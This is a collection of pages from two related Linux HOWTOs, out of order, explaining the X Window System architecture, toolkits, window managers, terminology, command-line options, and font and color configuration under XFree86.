We mentioned KDE and the components that provide specific services under that environment. As a good desktop environment, GNOME is somewhat similar in that. The most obvious difference is that GNOME doesn't mandate a particular window manager (the way KDE has kwm). The GNOME project has always tried to be window manager-agnostic, acknowledging that most users get really attached to their window managers, and forcing them to use something that manages windows differently would detract from their audience. Originally GNOME favored the Enlightenment window manager, and currently their preferred window manager is Sawfish, but the GNOME control panel has always had a window manager selector box.

Other than this, GNOME uses the Gtk toolkit, and provides a set of higher-level functions and facilities through the gnome-libs set of libraries. GNOME has its own set of programming guidelines in order to guarantee a consistent behavior between compliant applications; it provides a panel (called just "panel"), a file manager (gmc, altough it's probably going to be superseded by Nautilus), and a control panel (the gnome control center).

Prev | Home | Next
Desktop environments to the rescue |  | How it all fits together


Widget Libraries or toolkits

X Window System Architecture Overview HOWTO
Prev Next

6. Widget Libraries or toolkits

The original widget library, developed for the Athena Project, is of course the Athena widget library, also known as Athena Widgets. It's very basic, very ugly, and the usage is not intuitive by today's standards (for instance, to move a scrollbar or slider control, you don't drag it; instead, you click the right button to scroll up and the left button to scroll down). As such, it's pretty much not used a lot these days.

Just as it happens with window managers, there are a lot of toolkits, with different design goals in mind. One of the earliest toolkits is the well-known Motif, which was part of the Open Software Foundation's Motif graphical environment, consisting of a window manager and a matching toolkit. The OSF's history is beyond the scope of this document. the Motif toolkit, being superior to the Athena widgets, became widely used in the 1980's and early 1990's.

These days, Motif is not a popular toolkit choice. It's not free (speech), and OSF Motif costs money if you want a developer license (i.e. to compile your own programs with it), altough it's OK to distribute a binary linked against Motif. Perhaps the best-known Motif application, for Linux users at least, is Netscape Navigator/Communicator (prior to Mozilla).

For a while Motif was the only decent toolkit available, and there's a lot of Motif software around. Of course people started developing alternatives, and there are plenty of toolkits, such as XForms, FLTK and a few others.

Motif is not heard of much these days, specially in the free software world. The reason is that there are now better alternatives, in terms of licensing, performance (Motif is widely regarded as quite a pig) and features.

One such toolkit, the widely known and used Gtk, was specifically created to replace Motif in the GIMP project (one possible meaning of Gtk is "GIMP ToolKit, altough, with its widespread use, it could be interpreted as the GNU ToolKit). Gtk is now very popular because it's relatively lightweight, feature-rich, extensible and totally free (speech). The 0.6 release of the GIMP included "Bloatif has been zorched" in the changelog. This sentence is a testament to Motif's bloatedness.

Another very popular toolkit these days is Qt. It was not too well-known until the advent of the KDE project, which utilizes Qt for all its GUI elements. We certainly won't get into Qt's licensing issues and the KDE/GNOME disjunctive. Gtk gets a lengthy mention because its history as a Motif replacement is interesting; Qt gets a brief mention because it's really popular.

Finally, another alternative worth mentioning is LessTif. The name is a pun on Motif, and LessTif aims to be a free, API-compatible replacement for Motif. It's not clear to what extent LessTif aims to be used in new development, rather than just helping those with Motif code use a free alternative while they (conceivably) port their apps to some other toolkit.

Prev | Home | Next
Client Applications |  | What we have so far


Window Managers

X Window System Architecture Overview HOWTO
Prev Next

4. Window Managers

However, we never mentioned how the X server handles manipulation of the clients' on-screen display areas (called windows). It's obvious, to anyone who's ever used a GUI, that you need to have control over the "client windows". Typically you can move and arrange them; change size, maximize or minimize windows. How, then, does the X server handle these tasks? The answer is: it doesn't.

One of X's fundamental tenets is "we provide mechanism, but not policy". So, while the X server provides a way (mechanism) for window manipulation, it doesn't actually say how this manipulation behaves (policy).

All that mechanism/policy weird stuff basically boils down to this: it's another program's responsibility to manage the on-screen space. This program decides where to place windows, gives mechanisms for users to control the windows' appearance, position and size, and usually provides "decorations" like window titles, frames and buttons, that give us control over the windows themselves. This program, which manages windows, is called (guess!) a "window manager".

"The window manager in X is just another client -- it is not part of the X window system, although it enjoys special privileges -- and so there is no single window manager; instead, there are many, which support different ways for the user to interact with windows and different styles of window layout, decoration, and keyboard and colormap focus."

The X architecture provides ways for a window manager to perform all those actions on the windows; but it doesn't actually provide a window manager.

There are, of course, a lot of window managers, because since the window manager is an external component, it's (relatively) easy to write one according to your preferences, how you want windows to look, how you want them to behave, where do you want them to be, and so on. Some window managers are simplistic and ugly (twm); some are flashy and include everything but the kitchen sink (enlightenment); and everything in between; fvwm, amiwm, icewm, windowmaker, afterstep, sawfish, kwm, and countless others. There's a window manager for every taste.

A window manager is a "meta-client", whose most basic mission is to manage other clients. Most window managers provide a few additional facilities (and some provide a lot of them). However one piece of functionality that seems to be present in most window managers is a way to launch applications. Some of them provide a command box where you can type standard commands (which can then be used to launch client applications). Others have a nice application launching menu of some sort. This is not standardized, however; again, as X dictates no policy on how a client application should be launched, this functionality is to be implemented in client programs. While, typically, a window manager takes on this task (and each one does it differently), it's conceivable to have client applications whose sole mission is to launch other client applications; think a program launching pad. And of course, people have written large amounts of "program launching" applications.

Prev | Home | Next
The X Window System Architecture: overview |  | Client Applications


Appendix

The X Window User HOWTO
Prev

10. Appendix

10.1. Terminology and Usage

There are a few basic concepts and terminologies you should be familiar with. These terms will appear here, in the manual pages, and in other help files and documentation.

  • The "X server" is the low-level driver software that interacts with your video card and other system hardware, and manages the "display" and the various components attached to the "display" (keyboard, mouse, etc.). And, of course, handles requests from clients as well. There are different X servers for different chipsets.

    X Servers are referenced in the form of:

    host.domain:display_number.screen_number

    An example would look like: my_computer:0.0

    If host (and domain) is omitted, localhost is assumed. "Host" can be a remote host. If "screen" is omitted, then "0" (the first screen) is assumed. In it's shortest form, the X server is often represented as just ":0", which would be the first local "display". X supports multiple "displays" and multiple "screens".

    "Screen" and "Display" have special meanings in relation to X servers, in addition to their more common usage.

  • When X is invoked, the X server will initialize one or more "displays". Yes, X can have more than one "display" available (though this is not a common configuration for the average user). Each "display" is a separate instance of "X". The "display" includes not only the obvious video components, but also the keyboard, mouse and other input type components. The user can only access one display at a time via the same keyboard and monitor. "Displays" may reside locally, or on a networked host "somewhere", or both. It is possible that if multiple "displays" are available, the user can choose which one he wants when he logs in. Each "display" may have its own unique configuration (e.g. resolution). But again, the most typical configuration is just one "display" with one "screen", which is how most of us use X.

  • In reference to X servers, "screen" means the primary video output with which you view X. And there can be more than one "screen", just like you can have more than one "display". Additional "screens" are used in "multi-headed displays" for instance. In fact you can even have more than one computer running off a single X server. This is beyond the scope of this document, but you should be aware of this degree of flexibility as it is an important ingredient of the X protocol.

  • "Desktop" can mean different things in different contexts. Often, "desktop" means what is more properly called the "Desktop Environment". Prime examples of this are KDE, GNOME, and the not as well-known CDE, which are high level applications that control much of how the user interacts with the X session. They provide consistent look and feel, as well as consistent configuration and come bundled with their own set of utilities for common tasks.

    "Desktop" also sometimes just means the viewable screen area. This is more of the MS Window's meaning. X environments though are capable of having multiple virtual "desktops" that can be switched between as needed. This helps with organizing different tasks. Each "desktop" may its own windows and clients that are specific to it. Right now I have seven WindowMaker desktops (WindowMaker calls them "WorkSpaces"), and one of those I have dedicated to writing this document. This "desktop" has thirteen unique windows at the moment (man pages, browser windows, clock, gvim, xterms, etc).

  • "Clients" are any program that connect to the X server, and require an X server for some task (e.g. to display itself). Often, these are displayed in their own "window", but not always. For instance, if I use CTRL-N to open a new Mozilla window, this is one X client but with two windows. If I run a command line X utility like xev to view key and mouse events, this runs in the xterm's window, so has none of its own, but is still a "client". Clients can be locally running applications, or applications that are running on another system over the network, but are displayed locally.

  • The "Window Manager" is a special type of client application and a user definable component of the GUI. It is what the user interacts with to a large extent. The Window Manager provides such functionality as window borders and decorations, menus, icons, virtual desktops, button bars, tool bars, and allows the user to customize these. It is technically possible to run X without a window manager (though not very functional), but not the other way around. Window managers should not be confused with "Desktop Environments" like KDE. Desktop Environments include their own preferred Window Manager, but this is a configurable. There is some overlapping of responsibilities between Window Managers and Desktop Environments.

  • The "root window" is the background of your screen. It is referred to as a window in name alone, it does not behave like any other window, but rather you run your applications on the root window, or put an image on it, or perhaps just a solid color. All other windows are children of this parent window. The root window conceivably can be larger than the viewable screen area.

  • The "pointer" is the arrow or indicator of any given shape which represents the location of your mouse, or other pointing device. The pointer often changes to give you contextual feedback as to what will happen when you use the mouse at that point on the screen.

  • The "window" is a frame in which any given application runs and which is "managed" by the Window Manager. This includes pretty much anything except the so-called root window. Even windows which do not appear to have frames, titles, or normal borders of any kind are being managed by your window manger. The "active window" is the window you are currently using. This window will will respond to the keyboard when you type, and is traditionally denoted by the fact that your mouse cursor is pointing at it, though this is not always the case. The active window is said to have "focus". Most Window Managers will somehow highlight the "active", or focused, window to differentiate it from other windows.

  • "Menus", "icons" and "task bars" behave in X similar to the way they behave in other windowing systems, and the same general principles apply.

  • Windows that run text only applications are called "terminal emulators", such as xterm and various similar applications. This is the well-known "command line" in an X environment. These basically emulate a console text-only display, and have some advantages due to their being used in X. These are much more complex and sophisticated applications than a simple DOS box on Windows.

  • "Widgets" is the term used to describe such GUI control components as buttons, sliders, menus, scrollbars, listboxes, checkboxes, etc. "Toolkits" are libraries containing a diverse set of widgets with the same look and feel. Some common examples are GTK+ (used by GNOME, Mozilla and others), Xaw (X Athena Widget set), Tk, Motif and QT (used by KDE). Applications are built with one toolkit or another. Sometimes the same application can be built with different toolkits, depending on compile time options.

  • Window "geometry" is a shorthand way of expressing a window's size and screen placement. This might look like "60x20+10+50", which is WIDTH x HEIGHT +VERT_OFFSET +HORZ_OFFSET. While both pairs are often specified, it is permissible to use just one or the other pair.

  • In X lingo, "resources" are definable application attributes. Commonly available "resources" are fonts, colors, size, window title, etc, etc.

10.2. Links and other References

  • The definitive source of information on XFree86 is, of course, http://xfree86.org. Don't forget the man pages that you have installed already too (X, Xserver, XF86Config, XFree86, xdm, xinit, xmodmap, startx, xauth, Xsecurity, etc, etc). These are really mostly decent, though some are quite technical.

    Some pages at xfree86.org to check:

    Docs and support info: http://www.xfree86.org/support.html for various versions and topics.

    README: http://www.xfree86.org/current/README.html

    Release Notes: http://www.xfree86.org/current/RELNOTES.html

    DRI: http://www.xfree86.org/current/DRI.html

    Status: http://www.xfree86.org/current/Status.html

    Mouse: http://www.xfree86.org/current/mouse.html

    Supported card list: http://xfree86.org/cardlist.html

  • Other related documents from LDP:

    • If you are just starting out, you may find the X Window System Architecture Overview HOWTO, http://www.linuxdoc.org/HOWTO/XWindow-Overview-HOWTO/ to be helpful. It covers all the basic concepts quite well.

    • The Remote X Apps Mini HOWTO, http://www.linuxdoc.org/HOWTO/mini/Remote-X-Apps.html, does a nice job of discussing running X remotely, and related security issues of X networking.

    • The XDMCP HOWTO, http://www.linuxdoc.org/HOWTO/XDMCP-HOWTO/index.html, covers the X Display Manager Control Protocol, for running X remotely. Also, The XDM and X Terminal mini-HOWTO, http://www.linuxdoc.org/HOWTO/mini/XDM-Xterm/index.html.

    • The XFree86 HOWTO, http://www.linuxdoc.org/HOWTO/XFree86-HOWTO/index.html, succinctly covers installation, and initial configuration.

    • The XFree86 Video Timings HOWTO, http://www.linuxdoc.org/HOWTO/XFree86-Video-Timings-HOWTO/index.html, gets down and dirty with the finer points of monitor tuning. Generally not required for XFree86 v4.x.

    • The Xinerama HOWTO, http://www.linuxdoc.org/HOWTO/Xinerama-HOWTO.html, covers multi-headed displays.

    • The Font HOWTO, http://www.linuxdoc.org/HOWTO/Font-HOWTO.html, covers various font topics.

    • The Font De-Uglification Mini HOWTO, http://www.linuxdoc.org/HOWTO/mini/FDU/index.html, covers a range of X font issues.

    • The International Keyboard HOWTO; http://www.linuxdoc.org/HOWTO/mini/Intkeyb/index.html

    • The Linux Infrared HOWTO: http://www.linuxdoc.org/HOWTO/Infrared-HOWTO/index.html

  • Wheel mice tips and configuration: http://koala.ilog.fr/colas/mouse-wheel-scroll/

  • Linux and Laptops: http://www.linux-laptop.net/

  • The O'Reilly series on X Window! Visit http://www.ora.com/ for the definitive books on X.

  • The X Consortium's web site is http://www.x.org/ ... or perhaps it's moved to http://www.opengroup.org/.

  • http://www.x11.org/ is sort of a clearinghouse for all things X.

  • And for everything else under the Sun: http://google.com/linux. An incredible resource in its own right.

Prev | Home
Performance Considerations |


X and the Command Line

The X Window User HOWTO
Prev Next

7. X and the Command Line

What would a Unix-like operating system be without a command line interface? The command line can be useful, and is readily available with X. In fact, for many it is an integral part of their X working environment.

Any X program can be started directly from the command line just by typing the program name at a shell prompt in an xterm, or other terminal window. Most applications will have a very rich set of command line "options", such as background color, font, geometry (screen placement), etc, etc. Command line options over-ride compiled in defaults, or other system enabled "resources".

Many traditional X programs will use the same basic names for command line options. All applications written using the MIT X Toolkit Intrinsics (Xt) (such as those included with XFree86) automatically accept the following options. Some non-Xt applications also use these, or something similar. For instance, "geometry" is close to a universally accepted option.

-display [host]:display[.screen]

This option specifies the X server display to use. This is often used where applications are run on one system, and displayed on another. The application needs to know where to display. This is sometimes also accomplished by setting the "$DISPLAY" variable, which uses the same syntax.

-geometry geometry

The initial size and location of the window, in a format such as width x height +horz_offset +vert_offset or +horz_offset -vert_offset. Note that if you put in a negative horizontal or vertical offset, the window will be placed counting backward from the right or the bottom of the screen, respectively, instead of from the top left corner.

-font fontname

The font to use for displaying the text in your window (see font section below).

-bg color

The color to use for the window background. Typically this is a "color name" (see below).

-fg color

The color to use for the window foreground (i.e. fonts, etc).

-name resource-name

Useful for specifying the name under which the resources for this application will be found (e.g. as specified in .Xdefaults). This is useful to distinguish between invocations of the same application. For example, two xterms can be "named" differently so that they may inherit different resources based upon the specified names in the resource database.

-title string

This is the title to be used for the window on your display, generally used by the Window Manager to put a descriptive title at the top of the window. Not to be confused with the "-name" option.

-iconic

Open window in an iconified state.

-xrm resource-string

This option specifies a resource name and value to override any defaults that may already be set (i.e. via .Xresources or similar). Also useful for setting X resources that do not have explicit command line options. For example, the command line "xterm -xrm xterm*background: blue &" is functionally the same as "xterm -bg blue &".

These are the most noteworthy. There are others. Many programs will have their own additional options that are application specific. Many newer applications today don't necessarily adhere to the Xt standards, and will use their own options, or those provided by their respective toolkit. If nothing else, man pages are a good reference for command syntax, and are your friends here. Or, the application will have a "--usage" or "--help" command line switch to list available options:

 $ gnome-terminal --usage
 Usage: gnome-terminal [-?] [--disable-sound] [--enable-sound]
   [--espeaker=HOSTNAME:PORT] [--version] [--usage] [--gdk-debug=FLAGS]
   [--gdk-no-debug=FLAGS] [--display=DISPLAY] [--sync] [--no-xshm]
   [--name=NAME] [--class=CLASS] [--gxid_host=HOST] [--gxid_port=PORT]
   [--xim-preedit=STYLE] [--xim-status=STYLE] [--gtk-debug=FLAGS]
   [--gtk-no-debug=FLAGS] [--g-fatal-warnings] [--gtk-module=MODULE]
   [--disable-crash-dialog] [--sm-client-id=ID] [--sm-config-prefix=PREFIX]
   [--sm-disable] [--tclass=TCLASS] [--font=FONT] [--nologin] [--login]
   [--geometry=GEOMETRY] [-e COMMAND] [-x COMMAND] [--foreground=COLOR]
   [--background=COLOR] [--solid] [--pixmap=PIXMAP] [--bgscroll]
   [--bgnoscroll] [--shaded] [--noshaded] [--transparent] [--utmp]
   [--noutmp] [--wtmp] [--nowtmp] [--lastlog] [--nolastlog] [-t TITLE]
   [--icon=ICON] [--termname=TERMNAME] [--start-factory-server]
   [--use-factory]

7.1. xterm and friends

Sooner or later, most of us need to access the "command line" for one reason or another. For some, this might even be a common way of working in X. In addition to being able to launch X applications from the command prompt, there is also a wealth of programs that run in "text mode" for Linux.

This is possible via "terminal emulators" such as xterm. The closest counterpart from Microsoft is the so-called DOS-box, which is child's play by comparison. Linux terminals support color, full mouse copy/paste (and some wheeled mice), pseudo-transparency and pixmap backgrounds, scrollbars, menus and generally a slew of other features. While xterm is the best known such terminal emulator, there are many similar programs. To name a few: Eterm, rxvt, aterm, konsole (KDE) and gnome-terminal.

In typical usage, when a terminal emulator window is opened, a shell is started for the user to interact with. The default for essentially all Linuxes, is the bash shell. So when all is said and done, the user is interacting with X, the terminal, and the shell all at once. Each may have it's own influence. For example, how keystrokes are handled since they move from hardware to X server to terminal to the shell and finally echoed back to the user.

Quick and easy terminal configuration is done via the "$TERM" variable, which is typically set in one of the user's shell configuration files. Or the terminal itself will have a compiled in default. The default value for this is most often "xterm":

 $ echo $TERM
 xterm

Normally this is sufficient, as your vendor has already set this up in a reasonable way. The "$TERM" variable is actually a reference to an entry in the "termcap" database (man termcap), which is typically installed as /etc/termcap. Unless you are doing something really unusual, you probably won't need to change this. Some additional terminal configuration can be done with the stty command (see man page). Terminal configuration is really beyond the scope of this document.

The terminal application itself (e.g. xterm) will also have various configuration options. Permanent settings are best stored in a ~/.Xdefaults or similar file for those applications that support this. Generally speaking, applications with a GUI configuration (such as gnome-terminal), will be configured by their own menu driven configuration instead.

Also, you are interacting with the shell too, which can have it's own impact, particularly on how keystrokes are handled at the shell prompt. For bash, this can be adjusted in ~/.inputrc. Again, this is beyond the scope of this document, but check with either local or on-line bash (or other shell) references.

Terminal emulators like xterm require a monospaced font. So forget about TrueType or Type 1 fonts.

Prev | Home | Next
Window Managers and Desktops |  | X Networking and Security


Fonts and Colors

The X Window User HOWTO
Prev Next

5. Fonts and Colors

Understanding fonts and colors can be more complex in X than on other platforms.

5.1. Fonts Demystified

X knows about various font types, including bitmaps, Type 1, and as of v4.x, TrueType. The X server can either handle fonts itself, or sometimes this duty is forked to a font server (of which there are several). xfs (X Font Server) is the most common font server in use on Linux.

A font server is not required, as X can handle most font rendering itself. Font servers are traditionally used for serving fonts to multiple hosts on a network, but sometimes are also used to provide enhanced functionality. Additionally, a font server may provide a modest performance boost by off-loading font rendering to a separate process.

X knows about fonts according to fonts that are in the "FontPath". This is set initially in XF86Config. If the X server is handling font duties itself (i.e. no font server), this will be a list of directories that contain font files, like:

 FontPath        "/usr/X11R6/lib/X11/fonts/misc:unscaled"
 FontPath        "/usr/X11R6/lib/X11/fonts/100dpi:unscaled"
 FontPath        "/usr/X11R6/lib/X11/fonts/75dpi:unscaled"
 FontPath        "/usr/X11R6/lib/X11/fonts/Type1"
 FontPath        "/usr/X11R6/lib/X11/fonts/misc"
 FontPath        "/usr/X11R6/lib/X11/fonts/100dpi"
 FontPath        "/usr/X11R6/lib/X11/fonts/75dpi"

If a font server is being used, the "FontPath" will point to the socket where the font server is serving (this is just one possible example):

 FontPath "unix/:7101"

In this latter case, the actual font directories that are available will be configured with the font server (see local documentation), which will use a similar directory type scheme as shown for XF86Config.

Once suitable fonts have been installed, they must be "prepared". For most fonts, this means running the mkfontdir utility (see man page) in the directory where the fonts are (as root). Type 1 and TrueType require additional steps (see below). Your vendor has done this for any fonts that were included with your distribution. So, this will only need to be done for fonts that you add. For newly added fonts to become visible to X, you will need to run the appropriate xset commands to either modify the existing FontPath, or re-read it (see man page). Or, re-initialize your font server.

Example: Preparing fonts, and re-initializing font server after adding new fonts:

 su
 <password>
 mkfontdir /usr/X11R6/lib/X11/fonts/my_new_fonts/
 /etc/init.d/xfs restart

The first command may not be necessary on newer distros (since it's done by the init script in some cases). And the font server configuration would need to be modified, if this is a new directory. Example: re-initializing with no font server:

 su
 <password>
 mkfontdir /usr/X11R6/lib/X11/fonts/my_new_fonts/
 xset +fp /usr/X11R6/lib/X11/fonts/my_new_fonts/
 xset fp rehash

The "xset +fp" would not be necessary if the directory is already part of the FontPath.

xlsfonts | less can be used to list what fonts are known, and thus available, to X and its clients. Run xlsfonts | less, and you also can get an idea of the font definition as understood by X. Font resources are specified quite explicitly, and it may seem complex at first. The X Logical Font Description ("XLFD") is the full description for any given font. The XLFD looks like:

 -adobe-helvetica-medium-r-normal-*-*-120-*-*-p-*-iso10646-1

Where each field, left to right is:

fndry - font foundry, the company or individual which made the font.

fmly - font family, the popular nickname of the font

wght - font weight (bold, medium, etc.)

slant - font slant (italics, oblique, roman (normal), etc.)

sWdth - font width (normal, condensed, extended, etc.)

adstyl - additional style (sans serif, serif, etc.)

pxlsz - pixel size, the number of pixels vertically in a character

ptSz - approximate point size of the text (similar to pxlsz)

resx - horizontal resolution, in dpi

resy - vertical resolution, in dpi

spc - spacing, only useful, apparently, in the Schumacher fonts

avgWidth - average character width of the font

rgstry - the recognized registry that lists the font

encdng - nationality encoding

The "*" acts as a wild-card character. In fact, if not every field is specified, the X server will take the first match it finds in the FontPath. This is why it is best to order the FontPath with preferred fonts coming first since some programs will deliberately specify fonts "loosely" so that your system has some discretion.

The program xfontsel (X Font Selector) may be useful. Try launching it now. You will see nothing helpful in the main window at first, but try holding the left button down on the fndry button. If all your fonts are in order, you will see a menu of selections such as adobe and b&h and bitstream and so forth. Select one such as b&h and you will notice that the font in the lower window changes to something intelligible. This is the way fonts are selected with this program; starting from the left, which is the most general selection, and moving toward the right, to the more specific options. Selecting an option toward the rightmost end will not make much sense before the foundry, for instance, is selected, because the options are generally ordered by their dependence on each other.

When you select from the fmly selection, you will see most of the options grayed out, and only three remaining. That means that these three are the only families of font made by this foundry. Some families appear under more than one foundry, for instance, both Adobe and Bitstream make a variation of the Courier font. Now you can select the wght, and so forth. After you get far enough you will have narrowed it down to the font that you want. You don't necessarily have to fill in all the options to choose a single font, there's not that many fonts on your system! The options that you do not select will be represented by a * indicating that any option will do in that spot, and gives X some leeway.

When you are satisfied with your font selection, hit the select button, and your selection will be placed in the X clipboard, ready to be pasted into your document or whatever you are working on. For example, open an xterm window and type in something like xterm -font followed by an opening quotation mark. Then point to that spot on your screen, and click your middle mouse button (or click both the left and right, if you're middle-button impaired). This will paste the selection from the clipboard, which should be the font you just selected. Then enter the closing quote, and hit Enter. For instance, a nice big xterm with a Courier font specified would look like this: xterm -font "-adobe-courier-medium-r-*-*-14-*-*-*-*-*-*-*".

If you've found a font you prefer, this can permanently be used by placing the font definition in the appropriate configuration file (see above).

Note that you can also limit the number of fonts that you want xfontsel to display with the command line option -pattern, followed by a quoted font specification, as discussed above.

The xfd utility is also helpful for examining individual fonts. If launched with a command line such as xfd -fn fixed, it will show you the complete character set for that font.

KDE and GNOME have their own utilities that are not quite as obtuse ;-)

5.1.1. Type 1 and TrueType Fonts

The fonts provided with XFree86 are of limited use for many of us, considering that about the only place you'll find fonts of that kind, are used in the X Window System itself for the most part. Unfortunately many media junkies, web designers and fontaholics work in operating systems that rely on other formats. And then, there often does not seem to be much emphasis by some distributions on making the best of the default fonts either.

Type 1 fonts, most commonly used in conjunction with PostScript document formats, are the traditional standard in Unix and Linux environments. You should have a reasonably good starter selection installed already. Or, more can be found for free on the Internet with considerable ease, and Try ftp://ftp.cdrom.com/pub/os2/fonts/ for starters. Type 1 are scalable fonts, and have many of the same benefits of the better known TrueType fonts. If you don't have a good selection of TrueType fonts installed, then Type 1 is what you want for most GUI applications. But again, this is not standard on other platforms, and can present problems when viewing documents (e.g. web pages) that are designed with "other platforms" in mind.

TrueType fonts started with Apple, and later were licensed by Microsoft. So people migrating from non-Unix platforms are already familiar with these high quality fonts. Unfortunately, there are not many quality TrueType fonts under a suitable license, and thus there are not many included with Linux distributions. And the ones that are, often are not as high quality. Also unfortunately, TrueType has become somewhat of a standard on the Web and in other venues, and not having good TrueType fonts can be a detriment.

That's the bad news. The good news is that any TrueType font included with any version of Windows, or any Windows applications, should work on Linux. Though you will have to take some additional steps to integrate them. This particularly helps web browsing where X's bitmapped fonts just don't scale well.

We won't go into detail on installing and configuring these fonts here, as it is addressed in depth in other documents. See The Font HOWTO , http://www.linuxdoc.org/HOWTO/Font-HOWTO.html, for general font information, and Type 1 tips. See The Font De-Uglification Mini HOWTO, http://www.linuxdoc.org/HOWTO/mini/FDU/index.html, for various X related font tips, especially TrueType.

5.2. Colors

Let's go back to our terminal window and try something. Open an xterm with a command line like the following:

 xterm -fg DarkSteelBlue1 -bg red3 &

Ouch! While that may not be pretty, and you may not do much of your best work in it, it demonstrates one interesting aspect of X configuration -- color names. While not particularly precise, this is a nice way to remember a variety of colors. Note that color names are never case-sensitive.

The X server will actually deal with color values as a hexadecimal Red-Green-Blue (RGB) color notation. This would look something like "#0aff0a" in hex. Not so easy to remember. But X gives a more mnemonic way of remembering valid color definitions. These are stored in a text table, typically as /usr/X11R6/lib/X11/rgb.txt, and is defined in XF86Config in the "Files" section.

If you are interested, have a look with a text editor. There are many, many shades defined. I count eighty-three shades of blue in mine, for instance. Brief snip:

 176 226 255             LightSkyBlue1
 164 211 238             LightSkyBlue2
 141 182 205             LightSkyBlue3
  96 123 139             LightSkyBlue4
 202 225 255             LightSteelBlue1
 188 210 238             LightSteelBlue2
 162 181 205             LightSteelBlue3
 110 123 139             LightSteelBlue4
 191 239 255             LightBlue1
 178 223 238             LightBlue2
 154 192 205             LightBlue3
 104 131 139             LightBlue4

This file can be customized should you desire, but this is rarely needed for most of us. It is important to have though, since some applications depend on it.

Desktop Environments will have a GUI utility for selecting colors.

Prev | Home | Next
More X Configuration |  | Window Managers and Desktops


The X Window User HOWTO

Hal Burgiss

hal@foobox.net

v3.0 06 March 2002

Revision History
Revision v3.0 2002-03-06 Revised by: hb
Rewrite of the original document. Convert to DocBook. Many, many changes.

This document provides basic information on understanding and configuring the X Window System for Linux users. This is meant to be an introductory level document. A basic knowledge of software configuration is assumed, as is the presence of an installed and working X Window System.

Table of Contents
1. Introduction
1.1. New Versions and ChangeLog
1.2. To Do
1.3. Feedback
1.4. Help!
1.5. Acknowledgments
1.6. Copyright
1.7. Standard Disclaimer
2. XFree86
2.1. Hardware
2.2. XF86Config
2.3. xvidtune and Monitor Tuning
3. Running X
3.1. startx
3.2. Display Managers
4. More X Configuration
4.1. X Resources
4.2. xmodmap, the Keyboard and Mice
4.3. xset
5. Fonts and Colors
5.1. Fonts Demystified
5.2. Colors
6. Window Managers and Desktops
6.1. Window Managers
6.2. Desktop Environments
7. X and the Command Line
7.1. xterm and friends
8. X Networking and Security
9. Performance Considerations
9.1. Hardware
9.2. Memory
9.3. Other Tips
10. Appendix
10.1. Terminology and Usage
10.2. Links and other References
Next
Introduction


Introduction

The X Window User HOWTO
Prev Next

1. Introduction

The X Window System is an advanced, graphical computing and network environment that was designed from the ground up as a multi-user system. X was first released in 1984. If you are not familiar with the basic concepts surrounding X and it's related components, you should first read the X Window System Architecture Overview HOWTO, http://linuxdoc.org/HOWTO/XWindow-Overview-HOWTO/index.html, to get an idea of how the various pieces fit together. There is also an attempt to define to various X related terminology in the Appendix, if concepts such as "displays" and "X clients" in this context are confusing to you.

This document will address basic X Window configuration and usage on Linux. We will also look at how X is commonly started in Linux, and how the start up can be configured, and related issues. We will not examine Window Manager (e.g. fvwm), or Desktop Environment (KDE and GNOME) configuration. There are just too many variables there, and the pace of change moves too quickly. Of course, to a large extent the user interacts more directly with these components than the X server itself, so additional reading would be worthwhile. Check your locally installed documentation, and the respective home pages for more information.

Some other important points to remember here:

  • X is a client-server, multi-user system in every respect, and not just a GUI.

  • X is not integrated into the operating system, and rides on top of it, like other servers.

  • X is an open standard, and runs on many platforms.

  • What you actually see on the screen is the result of various components, all working together: operating system, X, Window Manager, and optionally, a desktop environment like GNOME or KDE. These are all "plug and play" components, meaning you can interchange an individual component without touching the other components.

  • Each of the various components has its own configuration. This makes for a very flexible, and potentially very robust, system. It also adds complexity.

The discussion here will be limited to X as implemented by The XFree86 Project, Inc. on Linux. There are other implementations, including commercial ones. XFree86 v4.x has been out for some time now, so we will be assuming that version. Much of the discussion applies to the previous 3.x version as well, but there are some occasional differences.

It is also worth noting that there are conceivably many ways to start X, and to set up a Linux system. We will focus on the common methods found in Linux distributions. Also, vendors may vary on where they put configuration files, and how they name them. Keep this in mind if you see such discrepancies in this document. If this is a problem, your vendor surely has their own documentation. And as always, hopefully the man pages will conform to your installation.

Also, we will look at various configuration files in the following sections. These are all plain text files, and can be edited with your favorite editor. Always make a backup copy before editing important files, in case Murphy pays a visit (e.g. "cp /etc/X11/XF86Config-4 /etc/X11/XF86Config-4.bak").

1.1. New Versions and ChangeLog

The current official version of this HOWTO may be found at the Linux Documentation Project, http://www.linuxdoc.org/HOWTO/XWindow-User-HOWTO.html. Pre-release versions may be periodically posted to http://feenix.burgiss.net/ldp/x-user/.

v3.0: This is a major rewrite with several new sections. Some sections were removed, with the focus more now on just X itself (and not clients like Window Managers). New maintainer too :-)

v2.0: includes corrections from Guus Bosch, Brian J. Miller, and myself, as well as lots of new updates and info.

v1.4: include corrections and additions from Anthony J., and some very good security tips from Tomasz Motylewski.

1.2. To Do

A rudimentary troubleshooting section. Probably for v3.1.

1.3. Feedback

If you have questions or comments about this document, please feel free to email me, Hal Burgiss at <hal@foobox.net>. I welcome any suggestions, corrections, or additions. If you have information you would like to see in future revisions, or you would like to contribute to a future revision, please drop me a note.

1.4. Help!

I have assumed maintainership of this document because it was abandoned, and I had wanted to offer a suggested change. Well, to make a long story short, this led to a major re-write. You can help make this a better document by correcting inaccuracies, clarifying the unclear, and suggesting improvements. There is much about this topic I may not know, or not have explained well. Your help will improve this document and help other users. This document needs your help!

1.5. Acknowledgments

Thanks to the XFree86 development team for their efforts in providing a robust and flexible GUI. And to the whole GNU/Linux and Open Source community for making it all possible.

Also, the original author, Ray Brigleb.

Various users on comp.os.linux.x that have helped in one way or another, whether they know it or not.

Lastly, http://google.com/linux, who saved me much time with their incredible repository of information. Use it to answer questions not answered here!

1.6. Copyright

Copyright © 2002, Hal Burgiss.

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator for more information.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would very much like to be notified of any plans to redistribute the HOWTOs, this one in particular!

Some of the terms mentioned in this document are trade names. Unless otherwise stated, all trademarks are property of their respective owners.

"X Window System" is a trademark of the X Consortium, Inc [now the OpenGroup?].

"XFree86" is a trademark of The XFree86 Project, Inc.

"Linux" is a Registered Trademark of Linus Torvalds.

